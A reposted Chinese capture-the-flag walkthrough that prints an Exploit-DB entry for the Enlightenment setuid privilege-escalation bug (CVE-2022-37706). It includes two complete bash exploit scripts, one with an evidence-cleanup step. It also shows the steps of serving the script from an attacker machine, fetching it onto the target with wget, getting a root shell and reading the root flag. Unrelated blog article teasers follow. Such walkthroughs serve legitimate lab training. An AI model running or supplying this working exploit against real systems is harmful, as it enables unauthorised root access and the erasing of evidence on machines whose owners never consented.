查看该文件内容

cat 51180.txt

## Exploit Title: Enlightenment v0.25.3 - Privilege escalation
## Author: nu11secur1ty
## Date: 12.26.2022
## Vendor: https://www.enlightenment.org/
## Software: https://www.enlightenment.org/download
## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706
## CVE ID: CVE-2022-37706
## Description:
The Enlightenment Version: 0.25.3 is vulnerable to local privilege escalation.
Enlightenment_sys in Enlightenment before 0.25.3 allows local users to
gain privileges because it is setuid root,
and the system library function mishandles pathnames that begin with a
/dev/.. substring
If the attacker has access locally to some machine on which the
machine is installed Enlightenment
he can use this vulnerability to do very dangerous stuff.

## STATUS: CRITICAL Vulnerability

## Tested on:
```bash
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.10
DISTRIB_CODENAME=kinetic
DISTRIB_DESCRIPTION="Ubuntu 22.10"
PRETTY_NAME="Ubuntu 22.10"
NAME="Ubuntu"
VERSION_ID="22.10"
VERSION="22.10 (Kinetic Kudu)"
VERSION_CODENAME=kinetic
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=kinetic
LOGO=ubuntu-logo
```

[+] Exploit:

```bash
#!/usr/bin/bash
# Idea by MaherAzzouz
# Development by nu11secur1ty

echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."

# The actual problem
file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
        echo "[-] Couldn't find the vulnerable SUID file..."
        echo "[*] Enlightenment should be installed on your system."
        exit 1
fi

echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"

echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Welcome to the rabbit hole :)"

${file} /bin/mount -o
noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u),
"/dev/../tmp/;/tmp/exploit" /tmp///net

read -p "Press any key to clean the evedence..."
echo -e "Please wait... "

sleep 5
rm -rf /tmp/exploit
rm -rf /tmp/net
echo -e "Done; Everything is clear ;)"

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2022-37706)
## Proof and Exploit:
[href](https://streamable.com/zflbgg)

## Time spent
`01:00:00`


--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html and https://www.exploit-db.com/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>

由该文件描述可知,该PoC基于漏洞:CVE-2022-37706


13.Submit the flag located in the root user's home directory.

在Github上寻找该漏洞相关EXP,或者将searchsploit中的EXP部分截取并修改使用

#!/bin/bash

echo "CVE-2022-37706"
echo "[*] Trying to find the vulnerable SUID file..."
echo "[*] This may take few seconds..."

file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1)
if [[ -z ${file} ]]
then
    echo "[-] Couldn't find the vulnerable SUID file..."
    echo "[*] Enlightenment should be installed on your system."
    exit 1
fi

echo "[+] Vulnerable SUID binary found!"
echo "[+] Trying to pop a root shell!"
mkdir -p /tmp/net
mkdir -p "/dev/../tmp/;/tmp/exploit"

echo "/bin/sh" > /tmp/exploit
chmod a+x /tmp/exploit
echo "[+] Enjoy the root shell :)"
${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net

将脚本下载至攻击机后使用python开启http服务

 python -m http.server 7777

将EXP脚本下载至靶机中

wget http://10.10.16.22:7777/exp.sh -O exp.sh

靶机对EXP文件赋执行权限

chmod +x exp.sh

运行EXP

bash exp.sh

larissa@boardlight:/tmp$ bash exp.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root

查找root_flag位置

find / -name 'root.txt'

查看root_flag内容

cat /root/root.txt

# find / -name 'root.txt'
/root/root.txt
# cat /root/root.txt
29793cc6d63e6b2413db144b2621f200

ROOT_FLAG:29793cc6d63e6b2413db144b2621f200

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2228388.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

react18中redux-saga实战系统登录功能及阻塞与非阻塞的性能优化

redux-saga中的effect常用的几个是有区分出阻塞与非阻塞的&#xff0c;这里主要看下call和fork两者的区别。 实现效果 非阻塞的task执行&#xff0c;不用等到登录成功后请求的list接口完成&#xff0c;点击退出按钮可以立即退出 阻塞task的执行&#xff0c;必须等到登录成功…

【JavaEE】【多线程】进阶知识

目录 一、常见的锁策略1.1 悲观锁 vs 乐观锁1.2 重量级锁 vs 轻量级锁1.3 挂起等待锁 vs 自旋锁1.4 普通互斥锁 vs 读写锁1.5 可重入锁 vs 不可重入锁1.6 不公平锁 vs 公平锁 二、synchronized特性2.1 synchronized的锁策略2.2 synchronized加锁过程2.3 其它优化措施 三、CAS3.…

炫酷的登录框!(附源码)

大家想看什么前端效果请留言 预览效果 源码 <!DOCTYPE html> <html lang"zh"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>登录页…

RK3568平台开发系列讲解(内存篇)ioremap进行物理内存的映射

🚀返回专栏总目录 文章目录 一、使用案例:二、ioremap 函数的使用三、volatile 的使用一、使用案例: ioremapdevm_ioremap (你不用担心资源的释放)二、ioremap 函数的使用

中小企业设备资源优化:Spring Boot系统实现

2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统&#xff0c;它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等&#xff0c;非常…

基于SSM(spring+springmvc+mybatis)+MySQL开发的新闻推荐系统

基于内容的新闻推荐系统 一、环境搭建 开发框架&#xff1a;SSM(springspringmvcmybatis)开发语言&#xff1a;Java、HTML5、JavaScript开发工具&#xff1a;MyEclipse软件依赖&#xff1a;tomcat8、MySQL 1.1 新建工程 打开 myeclispe&#xff0c;新建一个 maven 工程&…

STM32 HAL ADC FIR 窗函数实现低通滤波

FIR 窗函数实现低通滤波 文章目录 FIR 窗函数实现低通滤波1.窗的分类与选择2.matlab设计3.代码编写4.结果欣赏与群延迟5.其他可能报错5.1.adc采集的数据没问题&#xff0c;vofa打印成-nan5.2.vofa打印的滤波数据为初始化的0 6.代码备忘 1.窗的分类与选择 2.matlab设计 主页命令…

例程学习(学习笔记)

project括号里面表示工程的名称&#xff0c;决定了最后生成的bin文件的名称&#xff0c;比如我们现在编译后的bin文件名称就是hello_world.bin文件&#xff0c;如果改成了project(xxx)&#xff0c;编译后的名称就是xxx.bin 这个文件用来设置路径&#xff0c;咱们得例程案例里面…

uniapp:上拉加载更多、下拉刷新、页面滚动到指定位置

提醒 本文实例是使用uniapp进行开发演示的。 一、需求场景 在开发商品&#xff08;SKU&#xff09;列表页面时&#xff0c;通常有三个需求&#xff1a; 页面下拉刷新&#xff0c;第一页展示最新数据&#xff1b;上拉加载更多数据&#xff1b;列表页面可以滚动到指定位置&#x…

5G在汽车零部件行业的应用

5G技术在汽车零部件行业的应用正在不断深入&#xff0c;为行业的智能化、自动化和高效化转型提供了强大的技术支持。 1、5G技术特点与优势 5G技术具有高速度、低延迟、大连接和切片技术等特点与优势。这些特性为汽车零部件行业提供了稳定、可靠、高效的通信连接&#xff0c;使…

jmeter的基本使用

Jmeter基本使用 一、变量 1.用户定义变量 2.用户参数 二、函数 1.计数器${__counter(,)} 2.时间函数 3.加密函数${__digest(,,,,)} 4. 整数相加${__intSum(,,)} 5.属性函数&#xff0c;${__P(,)}、${__property(,,)}、${__setProperty(,,)} 6.V函数 三、获取响应数据…

算法的学习笔记—和为 S 的连续正数序列(牛客JZ74)

&#x1f600;前言 在牛客网的《剑指 Offer》系列题中&#xff0c;有一道关于输出和为给定值 S 的连续正数序列的问题。这是一道典型的双指针问题&#xff0c;考察我们对连续数列求和的理解和双指针的应用。本文将详细解析这道题的思路&#xff0c;并展示如何实现代码。 &#…

D53【python 接口自动化学习】- python基础之模块与标准库

day53 自定义模块 学习日期&#xff1a;20241030 学习目标&#xff1a;模块与标准库 -- 67 自定义模块&#xff1a;如何编写一个完整功能&#xff1f; 学习笔记&#xff1a; 创建自定义模块 自定义模块注意事项 自定义模块 def func1():return this is a functionclass Cl…

上市公司企业数字金融认知数据集(2001-2023年)

一、测算方式&#xff1a;参考C刊《经济学家》王诗卉&#xff08;2021&#xff09;老师的做法&#xff0c;数字金融认知使用每万字年报描述中包含的对数字金融相关关键词的提及次数&#xff0c;关键词为&#xff1a;互联网、数字化、智能、大数据、电子银行、金融科技、科技金融…

4.2-7 运行MR应用:词频统计

文章目录 1. 准备数据文件2. 文件上传到HDFS指定目录2.1 创建HDFS目录2.2 上传文件到HDFS2.3 查看上传的文件 3. 运行词频统计程序的jar包3.1 查看Hadoop自带示例jar包3.2 运行示例jar包里的词频统计 4. 查看词频统计结果5. 在HDFS集群UI界面查看结果文件6. 在YARN集群UI界面查…

How to Train Neural Networks for Flare Removal

Abstract 当相机指向强光源时&#xff0c;生成的照片可能包含镜头眩光伪影。 耀斑以多种形式出现&#xff08;光晕、条纹、渗色、雾霾等&#xff09;&#xff0c;这种外观的多样性使得去除耀斑变得具有挑战性。 现有的分析解决方案对伪影的几何形状或亮度做出了强有力的假设&a…

Kafka如何控制消费的位置?

大家好&#xff0c;我是锋哥。今天分享关于【Kafka如何控制消费的位置?】面试题&#xff1f;希望对大家有帮助&#xff1b; Kafka如何控制消费的位置? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 在 Kafka 中&#xff0c;控制消费位置主要通过以下几个机制来实…

shell脚本实例(4)while实现1+...+100,linux新增用户

while实现1到100求和 #!/bin/bash/ s0 i1 #-le小于等于 while [ $i -le 100 ] dos$[ $s$i ]i$[ $i1 ] done echo $s echo $i 执行结果如下 修改用户名密码脚本 #!/bin/bash/ #提示用户输入用户名 read -p "请输入用户名&#xff1a;"username useradd $username #提…

Qt 实战(10)模型视图 | 10.5、代理

文章目录 一、代理1、简介2、自定义代理 前言&#xff1a; 在Qt的模型/视图&#xff08;Model/View&#xff09;框架中&#xff0c;代理&#xff08;Delegate&#xff09;是一个非常重要的概念。它充当了模型和视图之间的桥梁&#xff0c;负责数据的显示和编辑。代理可以自定义…

lenovo联想小新 潮7000-14AST(81GE)笔记本原厂Win10系统镜像安装包下载

适用机型&#xff1a;【81GE】 链接&#xff1a;https://pan.baidu.com/s/1ciGya7OjTN73rHFJs52WpQ?pwdkgk4 提取码&#xff1a;kgk4 联想原装出厂系统自带所有驱动、出厂主题壁纸、系统属性联机支持标志、系统属性专属LOGO标志、Office办公软件、联想电脑管家、联想浏览器…